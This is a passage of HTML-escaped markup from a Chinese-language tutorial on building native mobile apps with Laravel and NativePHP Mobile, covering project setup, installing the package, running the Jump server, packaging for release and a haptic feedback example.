16px;line-height: 1.75;flex: 1 1 auto;overflow: auto visible;padding: 8px;min-width: 0px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;text-align: justify;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;laravel new my-mobile-app&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;cd&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;my-mobile-app&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h4 data-heading=&quot;true&quot; style=&quot;margin: 2em 0px 0.5em;color: rgb(15, 76, 129);font-size: 16px;font-weight: bold;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;步骤 3：安装 NativePHP Mobile&lt;/span&gt;&lt;/h4&gt;&lt;pre style=&quot;color: rgb(255, 255, 255);background: rgb(28, 27, 27);font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 0px;text-align: justify;padding: 0px !important;&quot;&gt;&lt;span style=&quot;display: none;padding: 10px 14px 0px;&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; version=&quot;1.1&quot; x=&quot;0px&quot; y=&quot;0px&quot; width=&quot;45px&quot; height=&quot;13px&quot; viewbox=&quot;0 0 450 130&quot;&gt;&lt;ellipse cx=&quot;50&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(220,60,54)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(237,108,96)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;225&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(218,151,33)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(247,193,81)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;400&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(27,161,37)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(100,200,86)&quot;&gt;&lt;/ellipse&gt;&lt;/svg&gt;&lt;/span&gt;&lt;code style=&quot;font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;margin-top: 0px;margin-bottom: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;text-align: justify;display: flex;align-items: flex-start;overflow: hidden auto;width: 100%;max-width: 100%;padding: 0px;box-sizing: border-box;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;padding: 8px 0px;border-right: 1px solid rgba(0, 0, 0, 0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0px !important;&quot;&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-top: 0px !important;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;1&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;flex: 1 1 auto;overflow: auto visible;padding: 8px;min-width: 0px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;text-align: justify;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;composer&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;require&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;nativephp/mobile&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h4 data-heading=&quot;true&quot; style=&quot;margin: 2em 0px 0.5em;color: rgb(15, 76, 129);font-size: 16px;font-weight: bold;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;步骤 4：启动 Jump 服务器&lt;/span&gt;&lt;/h4&gt;&lt;pre style=&quot;color: rgb(255, 255, 255);background: rgb(28, 27, 27);font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 0px;text-align: justify;padding: 0px !important;&quot;&gt;&lt;span style=&quot;display: none;padding: 10px 14px 0px;&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; version=&quot;1.1&quot; x=&quot;0px&quot; y=&quot;0px&quot; width=&quot;45px&quot; height=&quot;13px&quot; viewbox=&quot;0 0 450 130&quot;&gt;&lt;ellipse cx=&quot;50&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(220,60,54)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(237,108,96)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;225&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(218,151,33)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(247,193,81)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;400&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(27,161,37)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(100,200,86)&quot;&gt;&lt;/ellipse&gt;&lt;/svg&gt;&lt;/span&gt;&lt;code style=&quot;font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;margin-top: 0px;margin-bottom: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;text-align: justify;display: flex;align-items: flex-start;overflow: hidden auto;width: 100%;max-width: 100%;padding: 0px;box-sizing: border-box;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;padding: 8px 0px;border-right: 1px solid rgba(0, 0, 0, 0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0px !important;&quot;&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-top: 0px !important;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;1&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;flex: 1 1 auto;overflow: auto visible;padding: 8px;min-width: 0px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;text-align: justify;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;php artisan native:jump&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;终端会显示一个&amp;nbsp;&lt;/span&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;二维码&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;h4 data-heading=&quot;true&quot; style=&quot;margin: 2em 0px 0.5em;color: rgb(15, 76, 129);font-size: 16px;font-weight: bold;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;步骤 5：扫码启动&lt;/span&gt;&lt;/h4&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;打开手机上的 Jump 应用，扫描终端中的二维码……&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;就结束了。&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;你刚刚用 PHP 写了一个能在手机上运行的原生应用，而且只花了 5 分钟。&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;h3 data-heading=&quot;true&quot; style=&quot;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);margin: 2em 0px 0.75em;color: rgb(63, 63, 63);font-size: 17.6px;font-weight: bold;line-height: 1.2;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;刚才到底发生了什么？&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;内嵌了 PHP 运行时&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;—— 预编译的 PHP 运行在设备本地&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;直接运行 Laravel&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;—— 你的应用&lt;/span&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;运行在手机本地&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;，而不是远程服务器&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;桥接到原生 API&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;—— PHP 代码可以直接调用 iOS / Android 原生接口&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;无需 Web 服务器&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;—— 完全离线可用&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;这不是 WebView 包装&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;。 这是&lt;/span&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;真正的 PHP 原生运行&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;h3 data-heading=&quot;true&quot; style=&quot;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);margin: 2em 0px 0.75em;color: rgb(63, 63, 63);font-size: 17.6px;font-weight: bold;line-height: 1.2;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;完整的打包发布流程&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;如果需要发布到 App Store 或 Google Play：&lt;/span&gt;&lt;/p&gt;&lt;pre style=&quot;color: rgb(255, 255, 255);background: rgb(28, 27, 27);font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 0px;text-align: justify;padding: 0px !important;&quot;&gt;&lt;span style=&quot;display: none;padding: 10px 14px 0px;&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; version=&quot;1.1&quot; x=&quot;0px&quot; y=&quot;0px&quot; width=&quot;45px&quot; height=&quot;13px&quot; viewbox=&quot;0 0 450 130&quot;&gt;&lt;ellipse cx=&quot;50&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(220,60,54)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(237,108,96)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;225&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(218,151,33)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(247,193,81)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;400&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(27,161,37)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(100,200,86)&quot;&gt;&lt;/ellipse&gt;&lt;/svg&gt;&lt;/span&gt;&lt;code style=&quot;font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;margin-top: 0px;margin-bottom: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;text-align: justify;display: flex;align-items: flex-start;overflow: hidden auto;width: 100%;max-width: 100%;padding: 0px;box-sizing: border-box;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;padding: 8px 0px;border-right: 1px solid rgba(0, 0, 0, 0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0px !important;&quot;&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-top: 0px !important;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;1&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;3&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;flex: 1 1 auto;overflow: auto visible;padding: 8px;min-width: 0px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;text-align: justify;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;composer&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;require&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;nativephp/mobile&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;php artisan&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;native&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;:install&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;php artisan&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;native&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;:run&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3 data-heading=&quot;true&quot; style=&quot;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);margin: 2em 0px 0.75em;color: rgb(63, 63, 63);font-size: 17.6px;font-weight: bold;line-height: 1.2;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;第一个原生功能演示：触觉反馈&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;我们用一个 Web 应用永远做不到的功能来证明这是&lt;/span&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;真原生&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;——&lt;/span&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;触觉振动（Haptic Feedback）&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;h4 data-heading=&quot;true&quot; style=&quot;margin: 2em 0px 0.5em;color: rgb(15, 76, 129);font-size: 16px;font-weight: bold;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;在 Livewire 中的写法（PHP）&lt;/span&gt;&lt;/h4&gt;&lt;pre style=&quot;color: rgb(255, 255, 255);background: rgb(28, 27, 27);font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 0px;text-align: justify;padding: 0px !important;&quot;&gt;&lt;span style=&quot;display: none;padding: 10px 14px 0px;&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; version=&quot;1.1&quot; x=&quot;0px&quot; y=&quot;0px&quot; width=&quot;45px&quot; height=&quot;13px&quot; viewbox=&quot;0 0 450 130&quot;&gt;&lt;ellipse cx=&quot;50&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(220,60,54)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(237,108,96)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;225&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(218,151,33)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(247,193,81)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;400&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(27,161,37)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(100,200,86)&quot;&gt;&lt;/ellipse&gt;&lt;/svg&gt;&lt;/span&gt;&lt;code style=&quot;font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;margin-top: 0px;margin-bottom: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;text-align: justify;display: flex;align-items: flex-start;overflow: hidden auto;width: 100%;max-width: 100%;padding: 0px;box-sizing: border-box;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;padding: 8px 0px;border-right: 1px solid rgba(0, 0, 0, 0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0px !important;&quot;&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-top: 0px !important;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;1&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;flex: 1 1 auto;overflow: auto visible;padding: 8px;min-width: 0px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;text-align: justify;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;lt;button&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;wire&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;:click=&lt;/span&gt;&lt;span style=&quot;color: #B5BD68;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;quot;vibrate&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;gt;感受一下&amp;lt;/button&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre style=&quot;color: rgb(255, 255, 255);background: rgb(28, 27, 27);font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 0px;text-align: justify;padding: 0px !important;&quot;&gt;&lt;span style=&quot;display: none;padding: 10px 14px 0px;&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; version=&quot;1.1&quot; x=&quot;0px&quot; y=&quot;0px&quot; width=&quot;45px&quot; height=&quot;13px&quot; viewbox=&quot;0 0 450 130&quot;&gt;&lt;ellipse cx=&quot;50&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(220,60,54)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(237,108,96)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;225&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(218,151,33)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(247,193,81)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;400&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(27,161,37)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(100,200,86)&quot;&gt;&lt;/ellipse&gt;&lt;/svg&gt;&lt;/span&gt;&lt;code style=&quot;font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;margin-top: 0px;margin-bottom: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;text-align: justify;display: flex;align-items: flex-start;overflow: hidden auto;width: 100%;max-width: 100%;padding: 0px;box-sizing: border-box;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;padding: 8px 0px;border-right: 1px solid rgba(0, 0, 0, 0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0px !important;&quot;&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-top: 0px !important;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;1&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, 